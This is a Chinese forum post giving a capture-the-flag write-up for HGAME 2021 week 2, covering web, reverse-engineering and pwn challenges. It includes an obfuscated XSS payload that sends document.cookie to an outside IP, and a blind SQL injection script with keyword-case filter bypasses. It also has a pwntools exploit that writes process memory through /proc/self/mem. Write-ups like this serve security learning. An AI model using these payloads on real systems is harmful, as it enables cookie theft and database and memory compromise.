首页
社区
课程
招聘
2
[原创] 杭电hgame2021 week2 writeup
发表于: 2021-5-27 14:06 12079

[原创] 杭电hgame2021 week2 writeup

2021-5-27 14:06
12079

杭电hgame2021 week2

QQ图片20210215125559

web

LazyDogR4U

www.zip可获得源码,分析一下php就行

1
submit=getflag&_SESSESSIONSION[username]=admin

Post to zuckonit

xss,写个爆破md5的脚本,在服务器搭个接收cookie的环境

 

xss的payload

1
>;eikooc.tnemucod+'=eikooc?php.xedni/271.621.232.94//'=onitacol.tnemucod=rorreno x=crs gmi<

200OK!!

sql盲注,根据status字段来回显,采取一个一个字符爆破的方式,select from where需要大小写绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import string
import re
 
s = requests.session()
url = 'https://200ok.liki.link/server.php'
ans = ''
dict = string.ascii_letters+string.digits+string.punctuation
for i in range(1,60):
    print(i)
    for j in dict:
        #爆库名
        #payload = '''1'/**/or/**/ord(substr(database(),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        #爆表名
        #payload = '''1'/**/or/**/ord(substr((SELEct/**/TABle_name/**/FRom/**/INFORMAtion_SCHEma.TABles/**/WHere/**/TABle_SCHEma=database()/**/LIMiT/**/0,1),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        #爆列名
        #payload = '''1'/**/or/**/ord(substr((SELEct/**/Column_name/**/FRom/**/INFORMAtion_SCHEma.columns/**/WHere/**/TABle_NAMe='f1111111144444444444g'/**/LIMiT/**/0,1),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        #爆flag
        #payload = '''1'/**/or/**/ord(substr((SELEct/**/ffffff14gggggg/**/FRom/**/week2sqli.f1111111144444444444g/**/LIMiT/**/0,1),{},1))=ord('{}')#'''.format(i,chr(ord(j)))
        hd = {
            'Status': payload
        }
        ra = s.get(url=url,headers=hd).text
        #print(j)
        #print(hd)
        if 'HTTP 200 OK' in ra:
            #print(ra)
            print(j)
            ans += j
            print(ans)
            break

liki的生日礼物

条件竞争,抓个买一台的包,然后多线程重复发包就行

RE

ezAPK

一个标准的AESCBC加密,密文和密钥在解压缩出来的strings文档里,密钥的md5作为IV,然后找个在线网站解即可

helloRe2

第一个password比较简单,把比较的字符串提取出来就行

 

第二个password有个创建子进程的操作,这时候我们可以先启动程序,输入第一个password,然后在等待password2输入的时候attach上去,即可绕过

 

然后password2就是调用了windowsAPI的一个AESCBC加密,调试拿到密钥和IV,在线网站就可以解

fake_debugger beta

nc连上去,根据回显,就是个异或,一个一个字符弄出flag就行

pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
 
sh = remote('159.75.104.107',30398)
#sh = process('./shop')
sh.recvuntil('>> ')
sh.sendline('2')
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil('>>')
payload ='/proc/self/maps'
sh.sendline(payload)
r=sh.recvuntil(">> ").splitlines()
print(r)
find=''
for i in r:
  if b'shop' in i and b'r--p' in i:
    find=i
    break
print (find)
elfbase=int(find[25:37],16)
print(hex(elfbase))
sh.sendline('3')
sh.recvuntil('>> ')
sh.sendline('111111111111111111111111111')
sh.recvuntil('>> ')
sh.sendline('3')
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil('>> ')
sh.sendline('/proc/self/mem')
sh.recv()
sh.send(str(elfbase+8963))
sh.recv()
'''
sh.send(p64(8))
sh.recv()
sh.send(p64(0xaaaaaaaa))
sh.recvuntil('>> ')
sh.send('1')
sh.recvuntil('>> ')
sh.send('2')
sh.recvuntil('>> ')
sh.send('11111111111111111111111111')
sh.recvuntil('>> ')
sh.send('flag')
sh.recvuntil('>> ')
'''
sh.interactive()

the_shop_of_cosmos

涉及到proc/self/maps和proc/self/mem的知识,首先maps可以输出当前文件加载的基地址,然后mem可以根据基地址来修改内存

 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-6-15 20:00 被77pray编辑 ,原因:
上传的附件:
收藏
免费 2
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2023-1-13 03:22
Youlor
为你点赞~
2022-7-17 11:40
最新回复 (2)
雪    币: 247
活跃值: (1087)
能力值: ( LV3,RANK:36 )
在线值:
发帖
回帖
粉丝
2
师傅,给份re的附件可以么
2021-5-27 16:27
0
雪    币: 1054
活跃值: (1772)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
Isweng 师傅,给份re的附件可以么
好啦
2021-6-15 20:00
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册